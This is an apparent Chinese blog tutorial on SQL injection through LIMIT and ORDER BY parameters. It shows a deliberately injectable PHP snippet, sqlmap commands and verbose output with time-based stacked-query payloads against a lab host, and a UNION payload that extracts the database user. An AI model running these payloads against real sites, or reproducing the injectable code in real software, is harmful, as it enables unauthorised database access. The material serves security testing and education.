企业在防护sql注入的时候,一般会利用参数化查询、预编译处理等,这种方法可以解决绝大部分注入处理,但是,排序注入比较特殊,预编译处理对它无效,这种注入特别容易成为漏网之鱼。
对于排序(order by)或者分页(limit)情况,sqlmap普通检测(默认level为1),也经常会遗漏掉。
因此,在安全检测时,我们要结合业务,猜测参数点到底是干嘛的,比如:
www.ranshy.com/news?id=1,id可能是where语句的参数,并可能是主键,使用默认sqlmap语句即可爆破。
www.ranshy.com/newslist?page=1,page可能是limit语句的参数,尝试使用level 2。
www.ranshy.com/search?key=hello,key可能是where语句的like后参数,尝试使用level 2。
www.ranshy.com/newslist?page=1&type=create,type可能是order by的排序参数,尝试使用level 2。
上周爆破发现一家企业存在sql注入,但貌似是limit注入,使用sqlmap的时候,通过盲注发现的注入点,速度让人心累。。。
sqlmap的强大,在于它的智能,针对不同情况作出不同策略。对于盲注,主要是将判断语句与sleep函数结合,成功则sleep,不成功则不sleep,然后通过请求响应时间判断是否成功。
所以,sqlmap盲注攻击,非常依赖于网络和请求的稳定性。
如上图,可以看到,默认sqlmap使用sleep 1秒来进行盲注。当网络请求不稳定时,它会自动加1,如果还不行,会继续加1,依次类推。
在测试中由于出现了网络波动,导致sleep请求变成了3秒,非常慢。
不过,当网络恢复稳定后,sqlmap会自动变会1秒,以尽可能再次提升速度,如图,它会提示用户恢复:
不过,这种奇慢无比的sql爆破方式,即低效,由容易影响目标机器性能,毕竟目标机器进程在sleep呢,请求也不中断。所以如果高并发,很容易造成目标网站的dos攻击。因此,在盲注时,sqlmap一般使用单一的线程。
虽然sqlmap很强大,但是确实存在简单的sql注入,sqlmap却使用了盲注。在对于盲注时,我的经验是,打印出来盲注语句,看看到底是什么,然后猜测目标源代码,最终找到比盲注更高效的攻击语句。
不多说,直接上代码,为了避免信息泄露,这里不再以目标企业为例子,直接写一个类代码,进行演示。
php代码如下:
$limit = $_GET['limit'];
$pdo = new PDO("mysql:host=localhost;dbname=test","root","password");
$rs = $pdo -> query("SELECT * from users limit $limit");
print_r($rs -> fetch());
这是个很明显的sql注入,但是直接sqlmap -u来跑,是检测不出来漏洞的,需要使用--level 2。
记得加上-v 4,显示请求详情,这是跑出来的结果:
[10:03:46] [PAYLOAD] 1;SELECT IF((5845>5844),SLEEP(5),2484)#
[10:03:46] [TRAFFIC OUT] HTTP request [#226]:
GET /testforcoolcard/test2.php?id=1%3BSELECT%20IF%28%285845%3E5844%29%2CSLEEP%285%29%2C2484%29%23 HTTP/1.1
Host: 192.168.16.51
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.1.3.10#dev (http://sqlmap.org)
Connection: close
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 221 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Vector: ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])#
---
[10:04:01] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.9, Apache 2.4.12
back-end DBMS: MySQL > 5.0.11
[10:04:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.16.51'
[*] shutting down at 10:04:01
我们可以看到,[PAYLOAD] 1;SELECT IF((5845>5844),SLEEP(5),2484)#,注意这里有个分号,分号说明了目标网站支持多条sql语句同时执行。
通过此时的sqlmap找到的注入点,我们爆破当前数据库名字:
./sqlmap.py -u 'http://192.168.16.51/test.php?id=1' -v 4 --level 2 --current-user
[11:01:38] [PAYLOAD] 1;SELECT IF((ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),9,1))>1),SLEEP(1),7063)#
[11:01:38] [TRAFFIC OUT] HTTP request [#93]:
GET /test.php?id=1%3BSELECT%20IF%28%28ORD%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C9%2C1%29%29%3E1%29%2CSLEEP%281%29%2C7063%29%23 HTTP/1.1
Host: 192.168.16.51
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.1.3.10#dev (http://sqlmap.org)
Connection: close
[11:01:38] [INFO] retrieved: script@%
[11:01:38] [DEBUG] performed 62 queries in 42.51 seconds
current user: 'script@%'
sqlmap跑了大量的判断语句,最终通过大于、小于的不断比对,得到了user名字script。
回到刚才说的,如果我们自己了解了请求语句,其实完全可以不用盲注,瞬间爆破出来。
PAYLOAD:
0 union select 1, user() from users#
结论,sqlmap强大,但在实战中,人的决策更重要。
Leave a Reply